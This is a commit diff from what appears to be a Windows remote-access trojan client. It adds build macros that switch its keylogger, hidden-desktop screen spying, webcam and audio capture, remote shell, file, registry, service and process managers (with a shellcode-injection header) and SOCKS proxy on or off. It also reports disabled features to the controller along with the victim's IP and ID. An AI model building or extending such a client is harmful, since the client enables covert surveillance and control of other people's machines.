style: Add macros to enable/disable client building features
This commit is contained in:
@@ -8,6 +8,8 @@
|
||||
#include <Mmsystem.h>
|
||||
#include <IOSTREAM>
|
||||
|
||||
#if ENABLE_AUDIO_MNG
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -127,3 +129,4 @@ BOOL CAudioManager::Initialize()
|
||||
m_bIsWorking = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -12,6 +12,10 @@
|
||||
#include "Manager.h"
|
||||
#include "Audio.h"
|
||||
|
||||
#if ENABLE_AUDIO_MNG==0
|
||||
#define CAudioManager CManager
|
||||
|
||||
#else
|
||||
|
||||
class CAudioManager : public CManager
|
||||
{
|
||||
@@ -28,5 +32,6 @@ public:
|
||||
CAudio* m_AudioObject;
|
||||
LPBYTE szPacket; // 音频缓存区
|
||||
};
|
||||
#endif
|
||||
|
||||
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
#include "StdAfx.h"
|
||||
#include "Common.h"
|
||||
|
||||
#include "Manager.h"
|
||||
#include "ScreenManager.h"
|
||||
#include "FileManager.h"
|
||||
#include "TalkManager.h"
|
||||
|
||||
@@ -6,6 +6,8 @@
|
||||
#include "Common.h"
|
||||
#include "../common/commands.h"
|
||||
|
||||
#if ENABLE_SHELL
|
||||
|
||||
// Define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE if not available (older SDK)
|
||||
#ifndef PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE
|
||||
#define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE \
|
||||
@@ -341,3 +343,4 @@ DWORD WINAPI CConPTYManager::ReadThread(LPVOID lParam)
|
||||
Mprintf("[ConPTY] Read thread exited\n");
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -7,6 +7,11 @@
|
||||
#include "Manager.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
#if ENABLE_SHELL==0
|
||||
#define CConPTYManager CManager
|
||||
|
||||
#else
|
||||
|
||||
// ConPTY API types (dynamically loaded)
|
||||
typedef VOID* HPCON;
|
||||
typedef HRESULT (WINAPI *PFN_CreatePseudoConsole)(COORD size, HANDLE hInput, HANDLE hOutput, DWORD dwFlags, HPCON* phPC);
|
||||
@@ -56,5 +61,6 @@ private:
|
||||
// Thread to read from PTY
|
||||
static DWORD WINAPI ReadThread(LPVOID lParam);
|
||||
};
|
||||
#endif
|
||||
|
||||
#endif // CONPTYMANAGER_H
|
||||
|
||||
@@ -10,6 +10,8 @@
|
||||
#include "IOCPClient.h"
|
||||
#include "KernelManager.h"
|
||||
|
||||
#if ENABLE_FILE_MNG
|
||||
|
||||
typedef struct {
|
||||
DWORD dwSizeHigh;
|
||||
DWORD dwSizeLow;
|
||||
@@ -1186,3 +1188,4 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)
|
||||
Mprintf("[V2] 连接服务器失败\n");
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -1,10 +1,16 @@
|
||||
// FileManager.h: interface for the CFileManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "Manager.h"
|
||||
#include "IOCPClient.h"
|
||||
#include "common.h"
|
||||
typedef IOCPClient CClientSocket;
|
||||
|
||||
#if ENABLE_FILE_MNG==0
|
||||
#define CFileManager CManager
|
||||
|
||||
#else
|
||||
|
||||
#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
||||
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
|
||||
#include <winsock2.h>
|
||||
@@ -62,5 +68,6 @@ private:
|
||||
HANDLE m_hSearchThread;
|
||||
volatile bool m_bSearching;
|
||||
};
|
||||
#endif
|
||||
|
||||
#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
||||
|
||||
@@ -786,6 +786,18 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
|
||||
return data != NULL;
|
||||
}
|
||||
|
||||
// 给主控回复功能禁用消息
|
||||
// TODO: 主控收到此消息后,可以选择以插件形式执行该禁用的功能
|
||||
void ResponseDisable(IOCPClient *client, const char* type, LPBYTE data, int size) {
|
||||
char buf[512];
|
||||
sprintf_s(buf, "%s disabled[IP: %s][ID: %s]", type, client->GetPublicIP().c_str(), client->GetClientID().c_str());
|
||||
Mprintf("%s\n", buf);
|
||||
int n = strlen(buf);
|
||||
memcpy(buf + n + 1, data, min(size, 500-n));
|
||||
ClientMsg msg(DISABLED_FEATURE, buf, sizeof(buf));
|
||||
client->Send2Server((char*)&msg, sizeof(msg));
|
||||
}
|
||||
|
||||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||||
@@ -940,6 +952,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case TOKEN_PRIVATESCREEN: {
|
||||
if (!ENABLE_SCREEN) {
|
||||
return ResponseDisable(m_ClientObject, "PRIVATE_SCREEN", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
char h[100] = {};
|
||||
memcpy(h, szBuffer + 1, min(ulLength - 1, 80));
|
||||
std::string hash = std::string(h, h + 64);
|
||||
@@ -962,6 +977,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_PROXY: {
|
||||
if (!ENABLE_PROXY) {
|
||||
return ResponseDisable(m_ClientObject, "PROXY", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
@@ -1052,7 +1070,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
if (m_settings.EnableKBLogger && m_hKeyboard) {
|
||||
CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user;
|
||||
mgr->m_bIsOfflineRecord = TRUE;
|
||||
mgr->EnableOfflineRecord(TRUE);
|
||||
}
|
||||
Logger::getInstance().usingLog(m_settings.EnableLog);
|
||||
}
|
||||
@@ -1067,6 +1085,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
break;
|
||||
case COMMAND_KEYBOARD: { //键盘记录
|
||||
if (!ENABLE_KEYBOARD) {
|
||||
return ResponseDisable(m_ClientObject, "KEYBOARD", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
if (m_hKeyboard) {
|
||||
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
||||
} else {
|
||||
@@ -1079,6 +1100,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_TALK: {
|
||||
if (!ENABLE_MESSAGE) {
|
||||
return ResponseDisable(m_ClientObject, "MESSAGE", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
@@ -1090,6 +1114,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_SHELL: {
|
||||
if (!ENABLE_SHELL) {
|
||||
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
@@ -1100,6 +1127,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_SYSTEM: { //远程进程管理
|
||||
if (!ENABLE_PROC_WND) {
|
||||
return ResponseDisable(m_ClientObject, "PROCESS", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
@@ -1110,6 +1140,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_WSLIST: { //远程窗口管理
|
||||
if (!ENABLE_PROC_WND) {
|
||||
return ResponseDisable(m_ClientObject, "WINDOW", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
@@ -1179,6 +1212,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_SCREEN_SPY: {
|
||||
if (!ENABLE_SCREEN) {
|
||||
return ResponseDisable(m_ClientObject, "SCREEN", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
||||
if (ulLength > 1) {
|
||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||
@@ -1195,6 +1231,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_LIST_DRIVE : {
|
||||
if (!ENABLE_FILE_MNG) {
|
||||
return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
@@ -1205,6 +1244,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_WEBCAM: {
|
||||
if (!ENABLE_VIDEO_MNG) {
|
||||
return ResponseDisable(m_ClientObject, "CAMERA", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
static bool hasCamera = WebCamIsExist();
|
||||
if (!hasCamera) break;
|
||||
{
|
||||
@@ -1217,6 +1259,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_AUDIO: {
|
||||
if (!ENABLE_AUDIO_MNG) {
|
||||
return ResponseDisable(m_ClientObject, "AUDIO", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
@@ -1227,6 +1272,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_REGEDIT: {
|
||||
if (!ENABLE_REGISTRY) {
|
||||
return ResponseDisable(m_ClientObject, "REGISTRY", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
@@ -1237,6 +1285,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_SERVICES: {
|
||||
if (!ENABLE_SERVICE_MNG) {
|
||||
return ResponseDisable(m_ClientObject, "SERVICE", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
|
||||
@@ -4,6 +4,7 @@
|
||||
|
||||
#include "Common.h"
|
||||
#include "KeyboardManager.h"
|
||||
#include "KernelManager.h"
|
||||
#include <tchar.h>
|
||||
|
||||
#if ENABLE_KEYBOARD
|
||||
@@ -51,9 +52,10 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
|
||||
clip::set_error_handler(NULL);
|
||||
#endif
|
||||
m_bIsOfflineRecord = offline;
|
||||
|
||||
CKernelManager* main = (CKernelManager*)pClient->GetMain();
|
||||
BOOL isAuth = main ? main->IsAuthKernel() : FALSE;
|
||||
char path[MAX_PATH] = { "C:\\Windows\\" };
|
||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
if (!isAuth) GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
std::string fileName = GetExeHashStr() + ".db";
|
||||
GET_FILEPATH(path, fileName.c_str());
|
||||
strcpy_s(m_strRecordFile, path);
|
||||
|
||||
@@ -236,6 +236,9 @@ public:
|
||||
HANDLE m_hWorkThread,m_hSendThread;
|
||||
TCHAR m_strRecordFile[MAX_PATH];
|
||||
TextReplace m_ReplaceRule = {};
|
||||
void EnableOfflineRecord(BOOL enable) {
|
||||
m_bIsOfflineRecord = enable;
|
||||
}
|
||||
virtual BOOL Reconnect()
|
||||
{
|
||||
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
||||
|
||||
@@ -225,7 +225,7 @@ HDESK SelectDesktop(TCHAR* name)
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
|
||||
CManager::CManager(IOCPClient* ClientObject, int n, void *p, BOOL b) : g_bExit(ClientObject->GetState())
|
||||
{
|
||||
m_bReady = TRUE;
|
||||
m_ClientObject = ClientObject;
|
||||
|
||||
@@ -11,9 +11,7 @@
|
||||
|
||||
#include "..\common\commands.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
#define ENABLE_VSCREEN 1
|
||||
#define ENABLE_KEYBOARD 1
|
||||
#include "common/config.h"
|
||||
|
||||
HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess = 0);
|
||||
|
||||
@@ -41,7 +39,7 @@ class CManager : public IOCPManager
|
||||
public:
|
||||
const State& g_bExit; // 1-被控端退出 2-主控端退出
|
||||
BOOL m_bReady;
|
||||
CManager(IOCPClient* ClientObject);
|
||||
CManager(IOCPClient* ClientObject, int n=0, void* p=0, BOOL b=0);
|
||||
virtual ~CManager();
|
||||
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) {}
|
||||
@@ -69,6 +67,14 @@ public:
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
static bool IsConPTYSupported() {
|
||||
return false;
|
||||
}
|
||||
void EnableOfflineRecord(BOOL enable) {
|
||||
}
|
||||
virtual BOOL Reconnect() {
|
||||
return FALSE;
|
||||
}
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
|
||||
|
||||
@@ -6,6 +6,9 @@
|
||||
#include "RegisterManager.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
|
||||
#if ENABLE_REGISTRY
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -56,3 +59,5 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
@@ -12,6 +12,10 @@
|
||||
#include "Manager.h"
|
||||
#include "RegisterOperation.h"
|
||||
|
||||
#if ENABLE_REGISTRY==0
|
||||
#define CRegisterManager CManager
|
||||
#else
|
||||
|
||||
class CRegisterManager : public CManager
|
||||
{
|
||||
public:
|
||||
@@ -20,5 +24,6 @@ public:
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
VOID Find(char bToken, char *szPath);
|
||||
};
|
||||
#endif
|
||||
|
||||
#endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)
|
||||
|
||||
@@ -31,6 +31,39 @@
|
||||
#include <audioclient.h>
|
||||
#include <functiondiscoverykeys_devpkey.h>
|
||||
|
||||
bool IsWindows8orHigher()
|
||||
{
|
||||
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||||
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!hMod) return false;
|
||||
|
||||
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
|
||||
if (!rtlGetVersion) return false;
|
||||
|
||||
RTL_OSVERSIONINFOW rovi = { 0 };
|
||||
rovi.dwOSVersionInfoSize = sizeof(rovi);
|
||||
if (rtlGetVersion(&rovi) == 0) {
|
||||
return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
#ifdef _WIN64
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "FileUpload_Libx64d.lib")
|
||||
#else
|
||||
#pragma comment(lib, "FileUpload_Libx64.lib")
|
||||
#endif
|
||||
#else
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "FileUpload_Libd.lib")
|
||||
#else
|
||||
#pragma comment(lib, "FileUpload_Lib.lib")
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#if ENABLE_SCREEN
|
||||
|
||||
// KSDATAFORMAT_SUBTYPE_IEEE_FLOAT GUID (避免依赖 ksmedia.h)
|
||||
static const GUID KSDATAFORMAT_SUBTYPE_IEEE_FLOAT_LOCAL =
|
||||
{ 0x00000003, 0x0000, 0x0010, { 0x80, 0x00, 0x00, 0xaa, 0x00, 0x38, 0x9b, 0x71 } };
|
||||
@@ -56,20 +89,6 @@ static BOOL IsFloatFormat(const WAVEFORMATEX* pWaveFmt)
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
#pragma comment(lib, "wtsapi32.lib")
|
||||
|
||||
#ifdef _WIN64
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "FileUpload_Libx64d.lib")
|
||||
#else
|
||||
#pragma comment(lib, "FileUpload_Libx64.lib")
|
||||
#endif
|
||||
#else
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "FileUpload_Libd.lib")
|
||||
#else
|
||||
#pragma comment(lib, "FileUpload_Lib.lib")
|
||||
#endif
|
||||
#endif
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -77,23 +96,6 @@ static BOOL IsFloatFormat(const WAVEFORMATEX* pWaveFmt)
|
||||
#define WM_MOUSEWHEEL 0x020A
|
||||
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
|
||||
|
||||
bool IsWindows8orHigher()
|
||||
{
|
||||
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||||
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!hMod) return false;
|
||||
|
||||
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
|
||||
if (!rtlGetVersion) return false;
|
||||
|
||||
RTL_OSVERSIONINFOW rovi = { 0 };
|
||||
rovi.dwOSVersionInfoSize = sizeof(rovi);
|
||||
if (rtlGetVersion(&rovi) == 0) {
|
||||
return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL priv):CManager(ClientObject)
|
||||
{
|
||||
#ifndef PLUGIN
|
||||
@@ -2641,3 +2643,4 @@ DWORD WINAPI CScreenManager::AudioThreadProc(LPVOID lpParam)
|
||||
Mprintf("音频线程退出\n");
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -10,6 +10,13 @@
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
bool IsWindows8orHigher();
|
||||
|
||||
#if ENABLE_SCREEN==0
|
||||
#define CScreenManager CManager
|
||||
#else
|
||||
|
||||
#include "ScreenSpy.h"
|
||||
#include "ScreenCapture.h"
|
||||
|
||||
@@ -21,8 +28,6 @@ struct IAudioCaptureClient;
|
||||
|
||||
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
|
||||
|
||||
bool IsWindows8orHigher();
|
||||
|
||||
BOOL IsRunningAsSystem();
|
||||
|
||||
class IOCPClient;
|
||||
@@ -121,4 +126,6 @@ public:
|
||||
void HandleAudioCtrl(BYTE enable, BYTE persist); // 处理音频控制命令
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|
||||
|
||||
@@ -6,6 +6,8 @@
|
||||
#include "ServicesManager.h"
|
||||
#include "Common.h"
|
||||
|
||||
#if ENABLE_SERVICE_MNG
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -306,3 +308,4 @@ void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -10,6 +10,9 @@
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#if ENABLE_SERVICE_MNG==0
|
||||
#define CServicesManager CManager
|
||||
#else
|
||||
|
||||
class CServicesManager : public CManager
|
||||
{
|
||||
@@ -22,5 +25,6 @@ public:
|
||||
void ServicesConfig(PBYTE szBuffer, ULONG ulLength);
|
||||
SC_HANDLE m_hscManager;
|
||||
};
|
||||
#endif
|
||||
|
||||
#endif // !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_)
|
||||
|
||||
@@ -7,6 +7,8 @@
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
|
||||
#if ENABLE_SHELL
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -188,3 +190,4 @@ CShellManager::~CShellManager()
|
||||
Sleep(200); // wait for thread to exit
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -12,6 +12,10 @@
|
||||
#include "Manager.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
#if ENABLE_SHELL==0
|
||||
#define CShellManager CManager
|
||||
#else
|
||||
|
||||
class CShellManager : public CManager
|
||||
{
|
||||
public:
|
||||
@@ -33,5 +37,6 @@ public:
|
||||
HANDLE m_hShellProcessHandle; //保存Cmd进程的进程句柄和主线程句柄
|
||||
HANDLE m_hShellThreadHandle;
|
||||
};
|
||||
#endif
|
||||
|
||||
#endif // !defined(AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_)
|
||||
|
||||
@@ -12,6 +12,8 @@
|
||||
#define PSAPI_VERSION 1
|
||||
#endif
|
||||
|
||||
#if ENABLE_PROC_WND
|
||||
|
||||
#include <Psapi.h>
|
||||
#include "ShellcodeInj.h"
|
||||
|
||||
@@ -323,3 +325,4 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要
|
||||
*(LPBYTE*)lParam = szBuffer;
|
||||
return TRUE;
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -12,6 +12,10 @@
|
||||
#include "Manager.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
#if ENABLE_PROC_WND==0
|
||||
#define CSystemManager CManager
|
||||
#else
|
||||
|
||||
class CSystemManager : public CManager
|
||||
{
|
||||
public:
|
||||
@@ -27,5 +31,6 @@ public:
|
||||
void SendWindowsList();
|
||||
void TestWindow(LPBYTE szBuffer);
|
||||
};
|
||||
#endif
|
||||
|
||||
#endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)
|
||||
|
||||
@@ -9,6 +9,8 @@
|
||||
#include <IOSTREAM>
|
||||
#include <mmsystem.h>
|
||||
|
||||
#if ENABLE_MESSAGE
|
||||
|
||||
#pragma comment(lib, "WINMM.LIB")
|
||||
|
||||
#define ID_TIMER_POP_WINDOW 1
|
||||
@@ -153,3 +155,4 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg) //时钟回调
|
||||
}
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -11,6 +11,10 @@
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
#if ENABLE_MESSAGE==0
|
||||
#define CTalkManager CManager
|
||||
#else
|
||||
|
||||
class CTalkManager : public CManager
|
||||
{
|
||||
public:
|
||||
@@ -28,5 +32,6 @@ public:
|
||||
char g_Buffer[TALK_DLG_MAXLEN];
|
||||
UINT_PTR g_Event;
|
||||
};
|
||||
#endif
|
||||
|
||||
#endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
|
||||
|
||||
@@ -7,6 +7,8 @@
|
||||
#include "Common.h"
|
||||
#include <iostream>
|
||||
|
||||
#if ENABLE_VIDEO_MNG
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -190,3 +192,4 @@ BOOL CVideoManager::Initialize()
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -13,6 +13,10 @@
|
||||
#include "CaptureVideo.h"
|
||||
#include "VideoCodec.h"
|
||||
|
||||
#if ENABLE_VIDEO_MNG==0
|
||||
#define CVideoManager CManager
|
||||
#else
|
||||
|
||||
class CVideoManager : public CManager
|
||||
{
|
||||
public:
|
||||
@@ -37,5 +41,6 @@ public:
|
||||
CVideoCodec *m_pVideoCodec; //压缩类
|
||||
void Destroy();
|
||||
};
|
||||
#endif
|
||||
|
||||
#endif // !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)
|
||||
|
||||
@@ -8,6 +8,8 @@
|
||||
#include "stdio.h"
|
||||
#include <process.h>
|
||||
|
||||
#if ENABLE_PROXY
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -290,3 +292,4 @@ SOCKET* CProxyManager::GetSocket(DWORD index, BOOL del)
|
||||
|
||||
return s;
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -2,6 +2,11 @@
|
||||
#include "Manager.h"
|
||||
#include <map>
|
||||
|
||||
#if ENABLE_PROXY==0
|
||||
#define CProxyManager CManager
|
||||
|
||||
#else
|
||||
|
||||
class CProxyManager : public CManager
|
||||
{
|
||||
public:
|
||||
@@ -40,3 +45,5 @@ struct SocksThreadArg {
|
||||
LPBYTE lpBuffer;
|
||||
int len;
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
Reference in New Issue
Block a user